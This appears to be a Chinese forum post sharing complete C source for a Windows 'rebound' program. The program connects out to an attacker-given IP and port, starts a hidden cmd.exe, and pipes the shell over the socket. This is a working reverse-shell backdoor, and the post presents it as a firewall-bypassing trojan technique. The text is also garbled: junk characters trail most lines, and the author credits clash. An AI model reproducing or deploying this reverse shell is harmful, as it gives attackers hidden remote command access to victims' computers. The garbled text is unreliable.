这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 UW_fn
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/* ============================== O'*KNJX
Rebound port in Windows NT e3}`]
By wind,2006/7 V*"-@
===============================*/ :'|%~&J
#include F$F,I,$ "
#include Cj#$WZga%
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#pragma comment(lib,"wsock32.lib") 4f:B 2x{
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void OutputShell(); CI{? Kb
SOCKET sClient; _ ?]bd-E
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; pqmtN*zV
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void main(int argc,char **argv) xy5&}_Y
{ gi#bU
WSADATA stWsaData; +`>Tuz~
int nRet; \]1qAFB5
SOCKADDR_IN stSaiClient,stSaiServer; "AMbU68
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if(argc != 3) ?A+-k4l
{ YzNSZJPD
printf("Useage:\n\rRebound DestIP DestPort\n"); Btp 9v<"
return; JvX]^t/}
} .zZee,kM
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WSAStartup(MAKEWORD(2,2),&stWsaData); b"DaLwKkz
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F !g>fIg
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stSaiClient.sin_family = AF_INET; LVP2jTz
stSaiClient.sin_port = htons(0); 38#BINhBt
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); MH7 n@.t
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F!(Vg
{ H0r@dn
printf("Bind Socket Failed!\n"); I7,5ID4pn
return; R~
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} P'MfuTtT&
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stSaiServer.sin_family = AF_INET; f9ux+XQk9
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lLhvpvT
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;+jz=9Q-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |C"(K-do
{ yK9:LXhf
printf("Connect Error!"); BQTZt'p
return; |Lf>Z2E
} "sh*,K5x|
OutputShell(); 7vZtEwC)n
} ZEa31[@B[
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void OutputShell() AUjZYp
{ a4aM.o
char szBuff[1024]; a8nqzuI
SECURITY_ATTRIBUTES stSecurityAttributes; cip5 -Z@8
OSVERSIONINFO stOsversionInfo; W cOyOv
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1seWR"
STARTUPINFO stStartupInfo; GYH{_Fq
char *szShell; +)$oy]
PROCESS_INFORMATION stProcessInformation; I(m*%>
unsigned long lBytesRead; I[nSf]Vm>
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qHVZsZ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Jj%"
stSecurityAttributes.lpSecurityDescriptor = 0; m-?hHdO
stSecurityAttributes.bInheritHandle = TRUE; SzXR],dA
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %[S-"k
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %vn"tp
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); a=_+8RyVQ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;Qn)~b~
stStartupInfo.wShowWindow = SW_HIDE; N$ oQK(
stStartupInfo.hStdInput = hReadPipe; uvG'Kx
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; UA4="/
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GetVersionEx(&stOsversionInfo); ~aBf.
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switch(stOsversionInfo.dwPlatformId) C*X=nezq
{ ibP IT!5c
case 1: 5]f6YlJZ
szShell = "command.com"; 6+UTEw;
break; ^=Dz)95c
default: LO;7NK
szShell = "cmd.exe"; m+|yk.md
break; Q6PaT@gs
} je;C}4
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #nq$^H
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send(sClient,szMsg,77,0); {"PIS&]tR
while(1) 3s\}|LqX#
{ 3QI. |;X
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Llf#g#T
if(lBytesRead) 'nIKkQ" N
{ jhR`%aH4
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >\?RYy,s$
send(sClient,szBuff,lBytesRead,0); \X2r?
} *Z8qd{.$q
else Uee(1
{ s3-TBhAv
lBytesRead=recv(sClient,szBuff,1024,0); eC{St0
if(lBytesRead<=0) break; 8AVtUU
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?ESsma6
} .QU]
} x?7z15\
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return; DuQW?9^232
}